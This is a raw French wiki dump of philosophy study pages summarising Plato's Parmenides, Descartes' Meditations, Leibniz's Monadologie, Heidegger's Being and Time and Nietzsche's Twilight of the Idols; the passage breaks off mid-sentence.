il n'est l'objet d'aucune opinion, ni de connaissance par quelque être que ce soit. Ces conséquences étant impossibles, [[Parménide]] propose de reprendre l'argumentation depuis le début. ==== S'il est un, il doit participer à l'être ==== ==== S'il est un, qu'admettent les choses ? ==== Les choses ne sont pas l'Un, mais y participent ; en effet, elles ont des parties, sans quoi elles seraient un. Ce qui a des parties forme un tout, qui est une unité de plusieurs choses. Une partie n'est partie que d'une unité nommée tout ; donc si les autres choses ont des parties, elles peuvent participer au tout comme à l'Un. Les autres choses que l'Un forment ainsi un tout un et complet, et les parties participent chacune à l'Un. Les choses différentes de l'Un sont unes et plus nombre que l'unité, sinon elles ne sont rien. En tant qu'elles participent à l'Un, elles ont une untité mutuelle ; mais la nature de ces choses elles-mêmes procurent l'illimitation. Elles sont donc illimités et participent à la fois à une limite comme tout ou comme partie. S'il est un, les choses sont donc semblables et dissemblables à elles-mêmes et aux autres choses ; elles sont identiques et différentes, en mouvement et en repos, etc. *S'il est un, il est tout et il n'est rien par rapport à lui-même et aux autre choses. *S'il n'est pas un, *S'il n'est pas un, il n'a aucune détermination, aucun caractère. *S'il n'est pas un, chaque chose sera une pluralité illimité, elles paraitront semblables et dissemblables, etc. ==== S'il n'est pas un, il n'y a rien ==== [[Parménide]] revient encore une fois au commencement de l'argumentation : s'il n'est pas un, quelles conséquences pour les choses autres que l'Un ? Elles ne sont pas unes, ni plusieurs, car leur totalité ne peut former un ensemble. Elles ne paraissent ni unes ni plusieurs, puisque sans unité, il est impossible d'être plusieurs. De même, elles ne seront ni semblables ni dissemblables, etc. En bref, quand nous disons que l'Un n'est pas, nous disons qu'il n'y a rien. ==== Conclusion ==== En conclusion : « soit que l'un existe, soit qu'il n'existe pas, lui et les autres choses, relativement à eux-mêmes et les uns aux autres, sont absolument tout et ne le sont pas, paraissent et ne le paraissent pas. » == Le ''Parménide'' dans l'[[Antiquité]] == [[Proclus]] distingue deux types d'interprétations : celles qui portent sur le fond et celle qui sur la forme. Dans ce dernier cas, le ''Parménide'' est considéré comme un exercice de [[logique]] ; dans le premier cas, les interprètes cherchent à déterminer l'objet de ce dialogue : *l'être un ; *les différents degrés de l'être qui procèdent de l'Un ; == Bibliographie == === Éditions === * Platon, ''Œuvres complètes, VIII, 1, Parménide'', texte établi et traduit par Auguste Diès, Paris, 1923, Les Belles Lettres * Platon, ''Parménide'', traduit et annoté par Joseph Moreau (in Platon, ''Œuvres complètes'', II, Paris, 1950, Gallimard) * Platon, ''Parménide'', traduit par Emile Chambry (in Platon, ''Théétète - Parménide'', Paris, 1967, Garnier-Flammarion) * Platon, ''Parménide'', nouvelle traduction avec notes de Luc Brisson, Paris, 1999, Garnier-Flammarion === Commentaires === * ''Procli commentarium in Platonis Parmenidem'', [[Proclus]] * ''Études sur le Parménide de Platon'', Paris, 1926, Vrin (1951), Jean Wahl Philosophie/Méditations Métaphysiques 3821 46124 2006-06-27T20:29:47Z Guillaumito 46 [[Méditations Métaphysiques]] déplacé vers [[Philosophie/Méditations Métaphysiques]]: Convention de nommage {| border="0" cellpadding="0" width="100%" style="background: #f9f9f9" | colspan="3" height="25"|<center>[[Histoire de la philosophie]]</center> |- | width="33%"|'''[[Histoire de la philosophie - La philosophie classique|'''3. Philosophie classique]]''' | width="34%" align="center"|'''[[René Descartes]]''' | width="33%" align="right"| |} Les '''Méditations métaphysiques''' (''Meditationes de prima philosophia'', 1641 pour la première édition, 1647 pour la première traduction française) : sont une œuvre de [[René Descartes]], où l'on trouve une formulation du fameux ''cogito'' : ''Je suis, j'existe : cela est certain ; mais combien de temps ? A savoir, autant de temps que je pense ; ...'', qui résume la seconde méditation. Cette œuvre est divisée en six méditations : # '''[[Méditations Métaphysiques - Des choses que l'on peut révoquer en doute|Des choses que l'on peut révoquer en doute]]''' # '''[[Méditations Métaphysiques - De la nature de l'esprit humain ; et qu'il est plus aisé à connaître que le corps|De la nature de l'esprit humain ; et qu'il est plus aisé à connaître que le corps]]''' # De Dieu, qu'il existe. # Du vrai et du faux. # De l'essence des choses matérielles ; et, derechef de Dieu, qu'il existe. # De l'existence des choses matérielles, et de la réelle distinction entre l'âme et le corps de l'homme. Descartes a reçu des objections, auxquelles il répond : # de Caterus, théologien des Pays-Bas # de « divers théologiens et philosophes », transmises par le père [[Marin Mersenne]] # de [[Thomas Hobbes]] # d'[[Antoine Arnauld]] (dit le ''Grand Arnauld'') # de [[Pierre Gassendi]] # de « divers théologiens et philosophes » # du père Bourdin, jésuite Martin Heidegger 3822 15301 2005-06-03T07:02:34Z Marc 66 {| border="0" cellpadding="0" width="100%" style="background: #f9f9f9" | colspan="3" height="25"|<center>[[Histoire de la philosophie]]</center> |- | width="33%"|'''[[Histoire de la philosophie - La philosophie au XXème siècle|XXème siècle]]''' | width="34%" align="center"|'''Martin Heidegger''' | width="33%" align="right"| |} *[[Être et Temps]] Philosophie/Monadologie 3823 46126 2006-06-27T20:30:03Z Guillaumito 46 [[Monadologie]] déplacé vers [[Philosophie/Monadologie]]: Convention de nommage La '''Monadologie''' est une œuvre de [[Gottfried Wilhelm von Leibniz|Leibniz]], écrite en français en 1714 et publiée en 1840, dans laquelle l'auteur donne une vue d'ensemble de son système : composée de 90 paragraphes, elle est un exposé de ses thèses fondamentales. Elle peut être divisée en trois parties : *§1 à 36 : les monades (les éléments du monde) ; *§37 à 48 : Dieu (la cause du monde) ; *§49 à 90 : le monde crée (le monde lui-même, et son unité). == Les monades == === Nature des monades === Les paragraphes 1 à 7 portent sur la nature des monades, sur ce qui leur est commun : :''La Monade, dont nous parlons ici, n'est autre chose qu'une substance simple qui entre dans les composés; simple c'est-à-dire sans parties.'' (§1). Leibniz déduit à partir de là ce que doit être une monade : *simple, inétendue, indivisible : elle n'occupe pas l'espace, sinon elle ne serait pas simple ; *sans naissance, sans fin naturelles, car elle n'est pas composée et ne se décompose pas : une monade est donc crée ou annihilée ; *une monade est indépendante de toute influence externe : :''Les monades n'ont point de fenêtres par lesquelles quelque chose y puisse entrer ou sortir.'' (§7). *elle n'a pas de mouvement interne car elle n'a pas de partie ; ses mouvements ne peuvent qu'être qualitatifs ; *par suite, une monade produit d'elle-même les changements qui l'affectent. <br /> En clair, une monade est un atome métaphysique et logique : :''ces monades sont les véritables atomes de la nature et en un mot les éléments des choses.'' Bien qu'il l'appelle atome, et même substance, la monade n'est pas pour Leibniz une chose : la monade est un point de vue sur le monde. Cet aspect de la monade sera développé plus bas, avec l'harmonie préétablie. La composition des monades est un agrégat, c'est-à-dire une simple juxtaposition où rien ne s'ajoute outre les éléments premiers. Pour Leibniz, une composition ne crée rien de plus. Comme on peut le constater, la méthode de Leibniz consiste à déduire les propriétés de la réalité sans aucun recours à l'expérience (méthode propre au dogmatisme). Et si l'expérience entre en contradiction avec la [[logique]], alors c'est la première qui est fausse. Ainsi, puisque la monade n'est pas dans l'espace, il n'y a pas d'espace, c'est une apparence. === Différences et hiérarchie === Les paragraphes suivant portent sur les différences par lesquelles les monades se hiérarchisent. Les monades, n'ayant pas de parties, ne diffèrent pas quantitativement, mais qualitativement. Ce point est établi par l'impossiblité de leur identité : *le principe des indiscernables (§9) : deux choses identiques, sans aucune différence, sont une seule et même chose. Mais il n'y a pas deux choses identitiques dans la nature : nous y discernons toujours une différence, sans quoi elles seraient la même chose. *l'idée que sans différence il n'y aurait aucun changement dans les composés, car, d'une part, toutes les monades auraient les mêmes qualités, d'autre part, la composition des monades ne produit rien de nouveau (ce qui est produit n'est que quantitativement différent). Ce sont donc les éléments qui expliquent la diversité qualitative. Preuve par l'absurde : si les monades étaient identiques, elles seraient unes (cf. [[Parménide]]). Une conséquence de ce dernier point est que chaque monade a une essence unique : tout individu est ainsi une espèce en lui-même, ce qui revient à rejeter le concept de nature humaine. Le changement ne peut venir que de l'élément simple, par un principe qui lui est interne. Ainsi, il y a du changement, et il y a des différences, et cela est le fait de la monade ; mais cette théorie se trouve alors confrontée au problème de l'unité de la monade qui contient une infinité de changements : : §13 : ''(...) il faut que dans la substance simple il y ait une pluralité d'affections et de rapports, quoiqu'il n'y ait point de parties.'' La perception donne un exemple qui permet de penser l'unité qualitative d'une multiplicité : la conscience affectée de plusieurs états reste en effet une dans chaque perception. == Dieu == Cette partie comporte deux moments : dans un premier temps, les preuves de l'existence de Dieu ; puis l'examen de la nature de Dieu. === Preuves de l'existence de Dieu=== Leibniz expose deux types de preuves : *une preuve a posteriori, qui part d'une vérité de fait : :''37. Et comme tout ce détail n'enveloppe que d'autres contingents antérieurs ou plus détaillés, dont chacun a encore besoin d'une analyse semblable pour en rendre raison, on n'en est pas plus avancé, et il faut que la raison suffisante ou dernière soit hors de la suite ou séries de ce détail des contingences, quelque infini qu'il pourrait être.'' *deux preuves a priori, qui partent de vérités necessaires : **argument a priori par la causalité : s'il y a un être du possible, il faut un être nécessaire qui en soit la cause et qui soit immédiatement réel, autrement dit un être dont l'essence implique l'existence, ce qui conduit au second argument ; **argument de la non-contradiction de l'idée de Dieu : cette idée ne comporte aucune négation ni limitation. Ainsi, si Dieu est possible, il existe. === Nature de Dieu === Dieu est une monade portée à l'absolu. == Le monde crée == === La causalité === Le problème de la causalité qui se pose à Leibniz est de savoir comment il peut exister une causalité, alors que les monades n'interragissent pas. Sur ce point, Leibniz nie, tout comme [[Nicolas Malebranche|Malebranche]], la causalité des substances. Une monade A peut être pour nous dans un rapport de causalité avec une monade B ; mais ce que nous exprimons, c'est seulement que A explique B, et non que A cause ''réellement'' B ; la causalité est donc idéale. === Le principe du meilleur === === L'harmonie préétablie === == Bibliographie == *''Leçons de métaphysique allemande'', Jacques Rivelaygues == Voir aussi == *[[Méditations Métaphysiques]] ([[René Descartes]]) == Lectures== * [[wikisource:Monadologie|Monadologie]] * [[wikisource:Système nouveau de la nature|Système nouveau de la nature]] Être et Temps 3824 38371 2006-03-19T11:47:57Z 83.192.211.245 /* Liens externes */ {| border="0" cellpadding="0" width="100%" style="background: #f9f9f9" | colspan="3" height="25"|<center>[[Histoire de la philosophie]]</center> |- | width="33%"|'''[[Histoire de la philosophie - La philosophie au XXème siècle|XXème siècle]]''' | width="34%" align="center"|'''[[Martin Heidegger]]''' | width="33%" align="right"| |} '''[[w:fr:Être et Temps|Être et Temps]]''' ('''Sein und Zeit''', 1927) est une œuvre du philosophe allemand [[Martin Heidegger]]. Cette oeuvre est conçue comme une première partie d'un projet qui ne fut pas mené à terme. Elle marque un tournant important de la philosophie continentale (Lévinas - qui s'opposa pourtant à lui, considéra à la lecture de cette œuvre que Heidegger était l'un des plus grands philosophes de l'histoire occidentale); c'est en partie sous son influence que se développent l'existentialisme et la déconstruction. Cette œuvre pose la question du sens de l'être, question fondamentale de l'ontologie, définie par Aristote comme étant la question de l'être en tant qu'être. Pour Heidegger, cette question, qui est tombée dans l'oubli et la trivialité (la tradition philosophie qu'il faudra détruire - ou, suivant les traductions - ''déconstuire''), doit être reposée à la lumière du ''Dasein'', étant privilégié parmi les étants == Analyse de l'œuvre == '''*[[Être et Temps - Incipit|Incipit]]''' '''*[[Être et Temps - Introduction : l'exposition de la question du sens de l'être|Introduction : l'exposition de la question du sens de l'être]]''' '''*[[Être et Temps - Première partie|Première partie : L'interprétation du Dasein par rapport à la temporalité et l'explication du temps comme horizon transcendantale de la question de l'être]] === Seconde partie (telle qu'annoncée) === *La doctrine kantienne du schématisme *Le soubassement ontologique du « cogito sum » de Descartes *Le traité d'Aristote sur le temps == Liens externes == *[http://membres.lycos.fr/laphilosophie/vue.php?auteur=Heidegger Être et Temps] *[http://philosophiques.site.voila.fr/bio_philosophes/heidegger/heidegger_sommaire.htm Traduction et lecture d'Etre et Temps (cours de DEA)] Être et Temps - Introduction : l'exposition de la question du sens de l'être 3825 15304 2005-06-03T07:23:31Z Marc 66 {| border="0" cellpadding="0" width="100%" style="background: #f9f9f9" | colspan="3" height="25"|<center>[[Histoire de la philosophie]]</center> |- | width="33%"|<[[Être et Temps - Incipit|Incipit]] | width="34%" align="center"|[[Être et Temps]] | width="33%" align="right"|'''[[Être et Temps - Première partie|Première partie]]>''' |} ==== Chapitre premier : Nécessité, structure et primauté de la question de l'être ==== ===== § 1. La nécessité d’une répétition expresse de la question de l’être ===== :Heidegger signale à ce stade de la réflexion trois préjugés concernant l'être. ::1. L'être est le concept le plus général ::2. Le concept d'être est indéfinissable ::3. L'être est un concept qui va de soi ===== § 2. La structure formelle de la question de l’être ===== :« Le Dasein est un étant qui ne se borne pas à apparaître au sein de l’étant. Il possède bien plutôt le privilège ontique suivant : pour cet étant, il y va en son être de cet être. [...] ''La compréhension de l’être est elle-même une déterminité d’être'' du Dasein. Le privilège ontique du ''Dasein'' consiste en ce qu’il est ontologique. » (''Être et temps'') Pour le reformuler dans un langage plus clair, l'homme, en tant qu'il est un être, a toujours déjà une certaine idée de l'être, idée que l'on ne peut assimiler à la connaissance qu'il peut avoir des choses (des étants). Cette dernière connaissance est dite ''ontique'', elle concerne les sciences, et n'interroge pas les présupposés de ses relations aux objets, alors que la question de l'être de l'étant est dite ''ontologique'', et même, en tant qu'il s'agit d'interroger le sens de l'être, ''pré-ontologique. Le ''Dasein'' est explicité ainsi par Heidegger : :« [...] ontiquement, le Dasein n’est pas seulement proche, ou même le plus proche — mais nous le sommes même nous-mêmes. » :« L’être lui-même par rapport auquel le Dasein peut se comporter et se comporte toujours d’une manière ou d’une autre, nous l’appelons existence. Et comme la détermination d’essence de cet étant ne peut être accomplie par l’indication d’un quid réal, mais que son essence consiste bien plutôt en ceci qu’il a à chaque fois à être son être en tant que sien, le titre Dasein a été choisi comme expression ontologique pure pour désigner cet étant. » Le ''Dasein'' est donc le rapport d'un étant à lui-même, rapport d'appropriation dont le ''Dasein'' est responsable : :« Le Dasein se comprend toujours soi-même à partir de son existence, d’une possibilité de lui-même d’être lui-même ou de ne pas être lui-même. » Cette compréhension de soi et la prise en charge ou non de son être par le ''Dasein'' est appelée ''existentielle'' par Heidegger. L'examen des structures de cette existentialité est « la tâche d’une analytique existentiale du Dasein. » Mais en tant que le ''Dasein'' est toujours déjà impliqué dans un monde, c'est dans cette analytique que peut être recherchée ''l’ontologie-fondamentale'' d'où ''jaillissent'' toutes les autres ontologies. Ce point est fondamental pour le questionnement du sens de l'être : :« Le Dasein s’est alors dévoilé comme l’étant qui doit d’abord être élaboré ontologiquement pour que le questionnement puisse accéder à la transparence. Mais maintenant il nous est apparu que c’était l’analytique ontologique du Dasein en général qui constituait l’ontologie-fondamentale, donc que le Dasein fonctionnait comme l’étant qui doit fondamentalement et préalablement être interrogé quant à son être. :Lorsque l’interprétation du sens de l’être devient tâche, le Dasein n’est pas seulement l’étant à interroger primairement, il est en outre l’étant qui, en son être, se rapporte toujours déjà à ce qui est en question en cette question. La question de l’être, par suite, n’est rien d’autre que la radicalisation d’une tendance essentielle d’être appartenant au Dasein même, la compréhension préontologique de l’être.» Mais il ne s'agit pas de faire une anthroplogie complète du ''Dasein''. Selon Heidegger, il suffit pour répondre à la question de l'être, de s'en tenir à comprendre le sens préontologique de cet être qu'est le Dasein. Or, le sens de cet étant est la ''temporalité'' dont les structures sont des modes. C'est donc le temps qui est l'horizon de notre compréhension de l'être. Ce temps a reçu des hommes une fonction ontologique discriminante puisqu'il sépare des régions de l'étant (ce qui est dans le temps, ce qui est hors du temps). Mais cette fonction n'a jamais été expliquée et demeure obscure : d'où vient cet usage ontologique du temps ? Expliquer cette problématique du temps, c'est se donner les moyens de traiter la question du sens de l'être, puisque l'être est compris à partir du temps et de ses modalités : l'interprétation de l'être est la compréhension de la temporalité. ===== § 3. La primauté [[ontologique]] de la question de l’être ===== ===== § 4. La primauté ontique de la question de l’être ===== ==== Chapitre II : La double tâche de l'élaboration de la question de l'être ; méthode et plan de la recherche ==== ===== § 5. L’analytique ontologique du Dasein comme libération de l’horizon pour une interprétation de l’être en général ===== ===== § 6. La tâche d’une destruction de l’histoire de l’ontologie ===== Il y a cependant un premier obstacle signalé plus haut : l'oubli de la question de l'être. De quelle manière cet oubli est-il un obstacle ? Pour le comprendre, Heidegger souligne que dans la mesure où le ''Dasein'' est temporel, il n'a pas seulement un passé, il est ce passé : l'histoire du ''Dasein'' est constitutive de son être. Mais cette ''historialité'' du ''Dasein'' peut lui être voilée par une tradition autoritaire, qui refuse au ''Dasein'' sa capacité de prendre en charge son être propre, y compris son histoire, qui, lorsqu'elle est appropriée de manière authentique (lorsque le Dasein en fait en mode d'être ontique qui lui est propre), constitue la véritable tradition du Dasein. Ainsi est-il nécessaire, pour accéder à la question du sens de l'être, de détruire la tradition ontologique dans laquelle cette question s'est perdue. *§ 7. La méthode phénoménologique de la recherche **A. Le concept de phénomène **B. Le concept de logos **C. Le préconcept de la phénoménologie *§ 8. Plan de l’ouvrage Être et Temps - Première partie 3826 15305 2005-06-03T07:30:51Z Marc 66 {| border="0" cellpadding="0" width="100%" style="background: #f9f9f9" | colspan="3" height="25"|<center>[[Histoire de la philosophie]]</center> |- | width="33%"|<[[Être et Temps - Introduction : l'exposition de la question du sens de l'être|Introduction]] | width="34%" align="center"|[[Être et Temps]] | width="33%" align="right"| |} <center>L'interprétation du Dasein par rapport à la temporalité et l'explication du temps comme horizon transcendantale de la question de l'être</center> '''*Première section : L’ANALYSE-FONDAMENTALE PRÉPARATOIRE DU DASEIN''' '''*Deuxième section : DASEIN ET TEMPORALITÉ''' Être et Temps - Incipit 3827 15306 2005-06-03T07:54:23Z Marc 66 {| border="0" cellpadding="0" width="100%" style="background: #f9f9f9" | colspan="3" height="25"|<center>[[Histoire de la philosophie]]</center> |- | width="33%"| | width="34%" align="center"|[[Être et Temps]] | width="33%" align="right"|'''[[Être et Temps - Introduction : l'exposition de la question du sens de l'être|Introduction]]'''> |} {| bgcolor="white" valign="top" |- bgcolor="white" valign="top" | {| valign="top" cellpadding="4" cellspacing="1" border="1" frame="rhs" rules="none" |- bgcolor="white" valign="top" align="left" ;font-weight: bold" |<u>'''Sein und Zeit'''</u> »Denn offenbar seid ihr doch schon lange mit dem vertraut, was ihr eigentlich meint, wenn ihr den Ausdruck seiend gebraucht, wir jedoch glaubten es einst zwar zu verstehen, jetzt aber sind wir in Verlegenheit gekommen«. Haben wir heute eine Antwort auf die Frage nach dem, was wir mit dem Wort »seiend« eigentlich meinen? Keineswegs. Und so gilt es denn, die Frage nach dem Sinn von Sein erneut zu stellen. Sind wir denn heute auch nur in der Verlegenheit, den Ausdruck »Sein« nicht zu verstehen? Keineswegs. Und so gilt es denn vordem, allererst wieder ein Verständnis für den Sinn dieser Frage zu wecken. Die konkrete Ausarbeitung der Frage nach dem Sinn von »Sein« ist die Absicht der folgenden Abhandlung. Die Interpretation der Zeit als des möglichen Horizontes eines jeden Seinsverständnisses überhaupt ist ihr vorläufiges Ziel. Das Absehen auf ein solches Ziel, die in solchem Vorhaben beschlossenen und von ihm geforderten Untersuchungen und der Weg zu diesem Ziel bedürfen einer einleitenden Erläuterung. | |- |} | {| valign="top" cellpadding="4" cellspacing="1" border="1" frame="rhs" rules="none" |- bgcolor="white" valign="top" align="left" ;font-weight: bold" |<u>'''Être et Temps : Incipit'''</u> « Car manifestement, vous êtes bel et bien depuis longtemps familiers de ce que vous visez à proprement parler lorsque vous employez l’expression “étant”; mais pour nous, si nous croyions certes auparavant le comprendre, voici que nous sommes tombés dans l’embarras. » Avons-nous aujourd’hui une réponse à la question de savoir ce que nous entendons à proprement parler par le mot « étant » ? Nullement. Ainsi, il s’impose de poser à neuf la question du sens de l’être. Et sommes-nous donc aujourd’hui seulement dans l’embarras de ne point comprendre l’expression « être » ? Nullement. Ainsi, il s’impose, au préalable, de réveiller tout d’abord une compréhension pour le sens de cette question. L’élaboration concrète de la question du sens de l’« être » constitue le propos du présent essai. L’interprétation du temps comme l’horizon possible de toute compréhension de l’être en général, tel est son but provisoire. La visée même d’un tel but, les recherches impliquées et requises par un tel propos et le chemin conduisant à ce but ont besoin d’un éclaircissement introductif. <br> |} Friedrich Nietzsche 3831 31085 2006-02-01T08:44:05Z Marc 66 {| border="0" cellpadding="0" width="100%" style="background: #f9f9f9" | colspan="3" height="25"|<center>[[Histoire de la philosophie]]</center> |- | width="33%"|'''[[Histoire de la philosophie - Le XIXème siècle|Le XIXème siècle]]''' | width="34%" align="center"|'''Friedrich Nietzsche''' | width="33%" align="right"| |} '''Commentaires''' *[[Humain, trop humain]] *[[Ainsi parlait Zarathoustra]] *[[Par-delà bien et mal]] *[[Crépuscule des idoles]] *[[Ecce Homo]] '''Études''' *[[Nietzsche]] {{wikisource}} '''Autres''' *[[Bibliographie nietzschéenne]] *[[Bibliothèque (Nietzsche)|Bibliothèque]] *[[Vie de Nietzsche]] [[catégorie:Philosophe|Nietzsche]] Crépuscule des idoles 3832 36834 2006-03-10T08:10:33Z 82.225.228.133 /* Divagations d'un « Inactuel » */ {| border="0" cellpadding="0" width="100%" style="background: #f9f9f9" | colspan="3" height="25"|<center>[[Histoire de la philosophie]]</center> |- | width="33%"|'''[[Histoire de la philosophie - Le XIXème siècle|Le XIXème siècle]]''' | width="34%" align="center"|'''Friedrich Nietzsche''' | width="33%" align="right"| |} [[catégorie:Commentaire sur Nietzsche]] '''Crépuscule des idoles ou Comment on philosophe avec un marteau''' (''Götzen-Dämmerung oder wie man mit dem Hammer philosophirt'' ; le sous-titre est parfois traduit : ''Comment philosopher à coup de marteau'', mais cette traduction peut induire en erreur) est une œuvre du philosophe [[Friedrich Nietzsche]] écrite et publiée en 1888 et conçue comme un résumé de sa philosophie. Le titre est une référence ironique au ''Crépuscule des dieux'' de Richard Wagner. Elle est composée d'un avant-propos, de dix chapitres et d'un extrait d'''[[Ainsi parlait Zarathoustra]]'' (« Le marteau parle »). == Analyse de l'œuvre == === Avant-propos === Cet avant-propos, écrit à Turin, est daté par Nietzsche du 30 septembre 1888, « jour où fut achevé le premier livre de l'''Inversion de toutes les valeurs''. » (voir à ce propos [[Volonté de puissance]]). Nietzsche y décrit son engagement dans une cause difficile, difficulté qui exige néanmoins une certaine gaîté, une certaine ironie à l'égard du sérieux avec lequel on peut considérer les problèmes ici soulevés. Pour se défaire de son sérieux et d'une excessive intériorisation qui ont tendance à nous rendre trop pesants et graves dans nos pensées, Nietzsche recommande la guerre. Les blessures de la guerre (i.e. de la polémique, de l'opposition, etc.) ont en effet une vertu curative, et il prend pour devise : :« increscunt animi, virescit volnere virtus. » Mais il y a une autre cure - selon lui préférable : ''ausculter les idoles''. C'est l'objet de ce livre. En quoi consiste cette auscultation ? Elle consiste à faire entendre le son creux des idoles ; le marteau dont parle Nietzsche est ainsi un marteau de médecin. Il y aurait donc un contre-sens à penser que Nietzsche entend frapper comme une brute sur tout ce qui se présente (ce que peut suggérer le sous-titre de cette œuvre qui se traduit littéralement : ''comment on philosophe avec un marteau''). Le marteau est au contraire une métaphore, métaphore qui veut signifier que si l'on critique sérieusement les idoles qui pullulent dans le monde, on ''entendra'' qu'elles sont en réalité vides, mais qu'elles le cachaient bien. Cet ouvrage est donc pour Nietzsche un délassement de psychologue (parmi les premiers titres que Nietzsche voulait lui donner, on trouve en effet : ''Marteau des idoles. Loisirs d'un psychologue.'') Mais ce délassement, qui est aussi pour Nietzsche un moyen de rédiger un compendium de sa pensée, annonce également de nouvelles polémiques ; c'est une ''grande déclaration de guerre'' en vue de ''renverser de nouveaux dieux''. === Maximes et traits === Ce chapitre est composé de 44 aphorismes d'une ou deux phrases ; on ne saurait en donner une vue d'ensemble. En voici quelques uns : « 2. Même le plus courageux d'entre nous a rarement le courage d'assumer ce qu'il ''sait''... » « 8. ''Appris à l'école de la guerre'' : ce qui ne me tue pas me fortifie. » « 26. Je me méfie des faiseurs de systèmes et m'écarte de leur chemin. L'esprit de système est un manque de probité. » « 39. ''Le désillusionné parle'' : Je cherchais des grands hommes, et je n'ai trouvé que des hommes ''singeant'' leur idéal.'' » « 44. Formule de mon bonheur : un « oui », un « non », une ligne droite, un ''but''... » ===Le problème de Socrate=== Ce chapitre propose d'examiner le cas de [[Socrate]] comme exemple du sage pour qui, selon [[Nietzsche]], ''la vie n'a aucune valeur''. S'il est vrai, comme le soutient Nietzsche, que tous les grands sages n'exprimèrent par leur jugement sur la vie que leur doute et leur lassitude de vivre, de quoi ce consensus est-il l'expression ? Nietzsche évoque deux réponses possibles : *ce consensus doit prouver que la vie ne vaut rien : « la vie n'est qu'une longue maladie ; je dois un coq à Asclépios, le Sauveur. » Voila ce qu'a dit Socrate au moment de mourir ; *ce consensus ne prouve que l'accord des sages en ce qui concerne la vie. La première réponse est rejetée par Nietzsche : des jugements sur la vie n'ont aucune valeur, car ceux qui jugent sont parties du litige. En conséquence, ''la valeur de la vie ne saurait être évaluée'' ; la valeur de la vie n'est pas non plus un problème philosophique. Il reste donc à chercher de quoi ce consensus peut être l'expression. Et pour Nietzsche, ce jugement exprime la fatigue, la lassitude, la maladie, en un mot la ''décadence''. Ce que prouve l'accord des sages, c'est qu'ils souffrent tous des mêmes désordres physiologiques qui les contraignent ''à adopter la même attitude négative à l'égard de la vie''. Ils ne sont pas libres de juger autrement. Nietzsche passe à l'examen du cas de [[Socrate]] qui a une valeur de type pour la réflexion sur la dévaluation de la vie par les sages. Il y distingue plusieurs caractèristique physiques, sociales et morales : *Socrate était peuple ; *il est laid, ce qui semble exprimer un développement de tendances contradictoires dues au metissage ; *Socrate est le type du criminel, ce qui est confirmé par le témoignage de [[Cicéron]] : un physionomiste dit à Socrate qu'il était un monstre dissimulant les pires [[vice]]s et les pires appétits ; or, Socrate répondit : « comme vous me connaissez bien ! » Il est donc avéré que Socrate était atteint d'un désordre anarchique des instincts ; c'est un premier indice de décadence. Nietzsche y ajoute : *l'hypertrophie de la faculté logique *la méchanceté d'un rachitique (nous savons en effet que Socrate était extrêmement colérique) ; *les hallucinations auditives (le ''démon'' de Socrate) ; *son caractère bouffon et caricatural ; *son caractère dissimulé et retors. Par cette recherche des traits de caractère, Nietzsche s'efforce de comprendre comment a pu naître l'étonnante équation : :'''raison = vertu = bonheur''' qui est si peu naturelle et ne correspond pas à la civilisation Hellène. En effet, selon Nietzsche, le goût des Grec, avec Socrate, s'altère au profit de la [[dialectique]] ; mais cette dernière ne vaut pas grand chose, car : :« partout où l'autorité est encore de bon ton, partout où l'on ne donne pas des « raisons », mais des ordres, le dialecticien est une sorte de pitre. » Comment Socrate est-il donc parvenu à imposer la [[dialectique]] ? Pour Nietzsche, on use de la dialectique que lorsque l'on n'a pas d'autres moyens, c'est une arme de fortune pour ''conquérir son droit de haute lutte''. Il faut donc que cette usage soit l'expression d'une révolte, d'un ressentiment plébéien. Nietzsche formule l'hypothèse que Socrate se vengeait des aristocrates qu'il parvenait à fasciner : la dialectique en effet réduit l'autre à l'impuissance (exemple de la torpille dans le ''Ménon''), et ''laisse le soin à l'adversaire de prouver qu'il n'est pas un crétin''. Mais il reste à expliquer comment Socrate a pu fasciner. En premier lieu, la dialectique a séduit l'instinct agonal des Grecs qui aimaient les joutes physiques et intellectuelles aux connotations érotiques. Mais l'[[intuition]] fondamentale de Socrate fut de comprendre que son cas n'était pas isolé ; le monstre qu'il était se cachait partout : il fallait une cure contre la [[tyrannie]] des instincts. Or, on sait que Socrate répondit au physionomiste au sujet des pires appétits que ce dernier voyait en lui : : « C'est vrai, mais je les ai tous maîtrisés. » Ainsi Socrate fascinait-il en ce qu'il semblait être une solution, une guérison du mal dont on souffrait. Ce que l'on peut conclure de cet examen du cas de Socrate, c'est que lorsque la [[raison]] devient un [[tyran]], elle est une ''planche de salut'' : le désespoir est au fond de la [[philosophie]] spéculative grecque. Il fallait ''être raisonnable jusqu'à l'absurde'' pour ne pas sombrer ; toute philosophie morale qui se développe alors a donc des causes pathologiques et se traduit par l'équation citée ci-dessus : pour être heureux, il faut être lucide, rationnel, sinon on sombre dans l'obscurité de l'[[inconscient]], dans le déchainement des instincts. Mais cette médecine socratique est en réalité une illusion ; on n'échappe pas ainsi à la [[décadence]], on ne fait que l'exprimer sous une autre forme. Cette forme consiste à lutter contre ses instincts ; or - avoir besoin de lutter contre ses instincts, c'est la définition de la décadence (l'anarchie vue plus haut). Tant que la vie est ascendante, le bonheur s'identifie à l'instinct. La dernière phrase de Socrate indique peut-être qu'il avait compris ce qu'il en était réellement de sa méthode de ''guérison'' : une duperie de soi. Selon Nietzsche, Socrate, fatigué de vivre, força Athènes à lui donner la cigüe. Que signifie alors ses dernières paroles ? Nietzsche les interpréte ainsi : :« Socrate n'est pas médecin, s'est-il murmuré à lui-même : la mort seule est médecin... Socrate, lui, n'a fait qu'être longtemps malade... » === La « raison » dans la philosophie === Le chapitre précédant a montré en quoi l'équation ''raison = vertu = bonheur'' est pour Nietzsche une formule typique de la philosophie [[morale]], et par quel type d'hommes elle est nécessairement formulée. Mais cette équation a également une place fondamentale dans l'histoire de la [[métaphysique]] occidentale. Le présent chapitre en examine le premier terme, la [[raison]] ; les autres aspects seront abordés plus loin. Qu'est-ce qui caractérise le mieux les [[philosophe]]s ? Nietzsche distingue deux traits typiques : *le point de vue adopté sur les idées : l'[[éternité]] ; *le renversement de la [[causalité]] naturelle. Le premier trait caractéristique est donc, selon Nietzsche, le point de vue que les philosophes voudraient prendre sur les idées : c'est le point de vue de l'[[éternité]]. Dans cette perspective, ils considèrent le devenir, le changement, la [[mort]], la croissance, etc. comme des réfutations, car ils ne croient qu'en l'[[Être]] : :« Ce qui est ne devient pas, ce qui devient n'est pas. » Pourtant, si l'être est réalité et vérité, comment expliquer que nous ne le saisissions jamais ? À cette question cruciale, les philosophes répondent que ce sont les sens les coupables. Ce sont les [[sens]] qui nous trompent sur le monde vrai : la foi aux sens est une illusion et le corps n'est ''qu'une pitoyable idée fixe des sens''. Or il est évident pour Nietzsche que ce ne sont pas les sens qui nous trompent, mais l'usage que nous en faisons : c'est notre conception de la 